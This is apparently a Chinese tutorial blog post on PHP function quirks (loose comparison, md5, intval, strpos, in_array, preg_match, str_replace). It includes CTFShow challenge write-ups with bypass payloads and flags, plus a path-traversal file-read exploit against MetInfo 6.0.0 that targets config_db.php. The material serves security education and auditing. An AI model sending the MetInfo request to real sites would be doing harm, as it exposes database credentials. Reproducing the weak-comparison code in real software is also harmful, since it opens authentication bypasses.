WEB攻防-PHP特性

WEB攻防-PHP特性&缺陷对比函数&CTF考点&CMS审计实例

#知识点:
1、过滤函数缺陷绕过
2、CTF考点与代码审计
#详细点:
==与===
md5
intval
strpos
in_array
preg_match
str_replace

文章目录

  • WEB攻防-PHP特性&缺陷对比函数&CTF考点&CMS审计实例
    • 一、原理-缺陷函数-使用讲解-本地
      • 1、等于与全等
      • 2、MD5函数缺陷绕过
      • 3、intval缺陷绕过
      • 4、strpos()函数绕过
      • 5、in_array函数参数安全
      • 6、preg_match函数绕过
      • 7、str_replace无法迭代过滤
    • 二、实践-CTFShow-PHP特性-89-97关卡
      • 1、https://ctf.show/challenges#web89-461
      • 2、https://ctf.show/challenges#web90-462
      • 3、https://ctf.show/challenges#web91-463
      • 4、https://ctf.show/challenges#web93-465
      • 5、https://ctf.show/challenges#web94-466
      • 6、https://ctf.show/challenges#web95-467
      • 7、https://ctf.show/challenges#web96-468
      • 8、https://ctf.show/challenges#web97-469
    • 三、实践-代码审计-过滤缺陷-文件读取
    • 四、相关资源

一、原理-缺陷函数-使用讲解-本地

1、等于与全等

松散比较:使用两个等号 ==比较,只比较值,不比较类型。
严格比较:用三个等号 ===比较,除了比较值,也比较类型。

等于 == ,当等号两边为相同类型时,直接比较值是否相等,当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较。

全等 === ,在进行比较的时候,首先判断等号两边的类型是否相等,如果不同,则直接返回 false,如果相同,再比较值是否相等。

当字符串与数字比较时,首先将字符串转换为数字,不能转换为数字的字符串或 NULL ,被转换为0。

例如, “abc” 是不能转换为数字的字符串,而 “123” 、“123a” 、“0x12” 或 “2e3” 是可以转换为数字的字符串。==为弱相等,也就是说12==“12” --> true,而且12==“12cdf” --> true,只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000。

PHP 手册中相关描述如下:

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
一个字符串的开始部分决定了它转化成数值后的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。 
在进行比较运算时,如果遇到了 " 0e\d+ " 这种字符串,PHP 就会将这种字符串解析为科学计数法。

header("Content-Type:text/html;charset=utf-8");
$flag='yesxp';
//1、== ===缺陷绕过
$a=1;
if($a==$_GET['x']){
    echo $flag;
}
//类型变化也可
//1.0 +1 1a
$a='1';
if($a===$_GET['y']){
    echo $flag;
}
//强类型对比都不可
//1.0 +1等
?>

使用“==”时,访问该php文件输入x参数可以如下,皆可输出flag:

http://127.0.0.1/blog/phpexample.php?x=1
http://127.0.0.1/blog/phpexample.php?x=1.0
http://127.0.0.1/blog/phpexample.php?x=1a
http://127.0.0.1/blog/phpexample.php?x=1e0

2、MD5函数缺陷绕过

PHP在处理哈希字符串的时候,把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。

有两种方法绕过:

1、md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

2、利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

md5加密后以0e开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
//2、MD5函数缺陷绕过 ==弱对比 ===强类型对比
if($_GET['name'] != $_GET['password']){
    if(MD5($_GET['name']) == MD5($_GET['password'])){
        echo $flag;
    }
    echo '?';
}
//==  科学技术0e开头的任意数都相等 
//echo MD5('QNKCDZO');
//echo MD5('240610708');

if($_GET['name'] != $_GET['password']){
    if(MD5($_GET['name']) === MD5($_GET['password'])){
        echo $flag;
    }
    echo '?';
}
//===  数组绕过 
//name[]=1&password[]=2
//等于 
http://127.0.0.1/blog/phpexample.php?name=QNKCDZO&password=s878926199a
//全等
http://127.0.0.1/blog/phpexample.php?name[]=1&password[]=2
http://127.0.0.1/blog/phpexample.php?name[]=QNKCDZO&password[]=s878926199a
//报错提示
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
//flag输出
yesxp?

3、intval缺陷绕过

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

PHP 4, PHP 5, PHP 7

语法

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

返回值

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

php intval ()函数直到遇上数字或正负符号开始做转换,再遇到非数字或字符串结束时(\0)结束转换

//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){//默认十进制
    echo $flag;
}

// 666.0 +666

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){//八进制
    echo $flag;
}

//0x29a

//默认十进制
http://127.0.0.1/blog/phpexample.php?n=666
http://127.0.0.1/blog/phpexample.php?n=666.0
http://127.0.0.1/blog/phpexample.php?n=+666
//八进制
http://127.0.0.1/blog/phpexample.php?n=0x29a

4、strpos()函数绕过

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

注释:strpos() 函数是区分大小写的。

注释:该函数是二进制安全的。

相关函数:

  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

语法

strpos(string,find,start)

参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。

技术细节

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。
PHP 版本: 4+
//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($ii,$i,"0")){
    echo $flag;
}
//?num=%0a666
md5()如果传入为数组则返回为NULL

strpos()如果传入数组,会返回NULL

strcmp函数无法比较数组,可以使用数组绕过。

5、in_array函数参数安全

定义和用法

in_array() 函数搜索数组中是否存在指定的值。


语法

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

in_array()函数检测上传文件时候,若未将第三个参数设置为true,导致攻击者构造文件名绕过服务端的检测。在忽略第三个参数即未使用严格比较,那么函数在处理字符串与数字的比较时会尝试将字符串转换为整形/浮点型来做比较,比如’12ax’会转换为12。

//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
    echo "yes";
}
//?i=1ex
//正常访问
http://127.0.0.1/blog/phpexample.php?i=1
//绕过访问
http://127.0.0.1/blog/phpexample.php?i=1a

6、preg_match函数绕过

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

参数说明:

  • $pattern: 要搜索的模式,字符串形式。
  • $subject: 输入字符串。
  • $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
  • $flags:flags 可以被设置为以下标记值:
    1. PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
  • offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

返回值

返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

利用思路

preg_match只能处理字符串,当传入的subject是数组时会返回false

//6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
//正常访问
http://127.0.0.1/blog/phpexample.php?num=0
//绕过访问
http://127.0.0.1/blog/phpexample.php?num[]=0
//返回内容
Warning: preg_match() expects parameter 2 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 36
yesxp

7、str_replace无法迭代过滤

str_replace() 函数替换字符串中的一些字符(区分大小写)。

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组。
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
  • 如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。

注释:该函数是二进制安全的。


语法

str_replace(find,replace,string,count)

参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

利用思路:str_replace只对字符串过滤一次,无法迭代过滤,构建绕过字符串。

//7、str_replace无法迭代过滤 简单的sql过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//?s=sselectelect
//正常访问
http://127.0.0.1/blog/phpexample.php?s=select
//绕过访问
http://127.0.0.1/blog/phpexample.php?s=sselectelect

二、实践-CTFShow-PHP特性-89-97关卡

1、https://ctf.show/challenges#web89-461

利用思路:如果输入的是数字就输出 no no no,但输出flag又需要是数字,利用数组绕过preg_match函数。

flag:ctfshow{2119ac16-b96c-4bcf-b748-08332cfdeef1}


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){//利用数组绕过
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

2、https://ctf.show/challenges#web90-462

利用思路:输入4476输出 no no no,但输入八进制的4476可以进入第二个if判断输flag,num=010574。

flag:ctfshow{e9f45e43-99ac-48b1-8bbb-5a2e697a6826}


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){//isset() 函数用于检测变量是否已设置并且非 NULL。
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

3、https://ctf.show/challenges#web91-463

利用思路

?num=%0aphp,第一个if判断如果直接输入php,在第二个if判断就能执行而不会去执行else中的echo $flag;若在第一个if判断中输入%0aphp,第一个if判断多行匹配所以第二行php开头结尾可以通过第一个preg_match函数,第二个if判断preg_match函数因为输入的是%0aphp所以不是php开头所以执行else输出flag。

flag:ctfshow{3f0d356e-e2fc-4559-8033-47c1ad35cce9}

正则表达式模式修饰符,用法含义如下:

1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。

这些修饰符是可以混合使用,例如 /ig、/ie等。

^php     以php开头
php$     以php结尾
^php$    以php开头并以php结尾

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){//如果直接输入php,那么就开头结尾都是php,进入执行
    if(preg_match('/^php$/i', $a)){//因为是%0aphp所以不是php开头所以执行else
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

4、https://ctf.show/challenges#web93-465

利用思路:输入4476的八进制数num=010574

flag:ctfshow{313a2306-a5e5-4d0f-bc6c-34d154328b1c}


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){//过滤了a到z的字母,即16进制
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

5、https://ctf.show/challenges#web94-466

利用思路:num=%0A010574,关键判断在于if(!strpos($num, “0”)),首先直接输入010574的话,那么strpos($num, “0”)返回值就是0,非0就是1,则该if条件下的语句会被执行,如果让其返回值不等于0,等于1然后非1就是0不会被执行。

!1 = 0, !0 = 1
!x = 0 (x为任意非零数值)
!0 = 1 (0的否定则通常为1,不会是其他数值)

flag:ctfshow{881af7a0-466c-42d9-847a-a2830a243add}


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){//过滤4476
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){//过滤16进制
        die("no no no!");
    }
    if(!strpos($num, "0")){//过滤8进制,如果不是从0位置开始的话就nonono
        die("no no no!");
    }
    if(intval($num,0)===4476){//又要验证8进制全等4476
        echo $flag;
    }
}

6、https://ctf.show/challenges#web95-467

利用思路:最后需要验证8进制数全等4476,也就是010574,采取以下方式皆可。

num=%20010574
num=%0A010574
num=+010574 (加号字符占位)
num=%09010574 (tab)
num=%2b010574 (%2b是+的url编码)

flag:ctfshow{a3b475d0-8b7b-4a90-8521-06ad786c4430}


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){//过滤4476
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){//外加不能有小数
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

7、https://ctf.show/challenges#web96-468

利用思路:u=./flag.php,linux中表示当前目录是 ./ ,既满足了不等于flag.php,又能读到当前目录下的flag.php中的内容。

flag:ctfshow{5cef9420-8abf-4d75-957a-e2b54b3f690a}


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

8、https://ctf.show/challenges#web97-469

利用思路:利用MD5函数缺陷绕过,全等用数组形式发送数据过去即可

a[]=1&b[]=2
//返回内容
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}

flag:ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])//a要不等于b
if (md5($_POST['a']) === md5($_POST['b']))//a的MD5要全等于b的MD5
echo $flag;
else
print 'Wrong.';
}
?>

三、实践-代码审计-过滤缺陷-文件读取

以本地搭建的MetInfo网站为例:CMS任意文件读取漏洞

class old_thumb extends web{
      public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);

        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

old_thumb 类中的doshow方法:

过滤../和./两个特殊字符,要求字符必须以http开头,并且不能检测到./字符
然后读取文件内容

绕过方法:

//调用了该函数的页面文件
http://127.0.0.1/MetInfo6.0.0/include/thumb.php
//利用方式1:
GET /MetInfo6.0.0/include/thumb.php?dir=.....///http/.....//\config\config_db.php
//过滤后的访问请求:
../http/..\config\config_db.php
//利用方式2:
GET /MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
//过滤后的访问请求:
http\..\..\config\config_db.php

四、相关资源

红日安全

https://github.com/hongriSec/PHP-Audit-Labs

你可能感兴趣的:(Web攻防,php,web安全)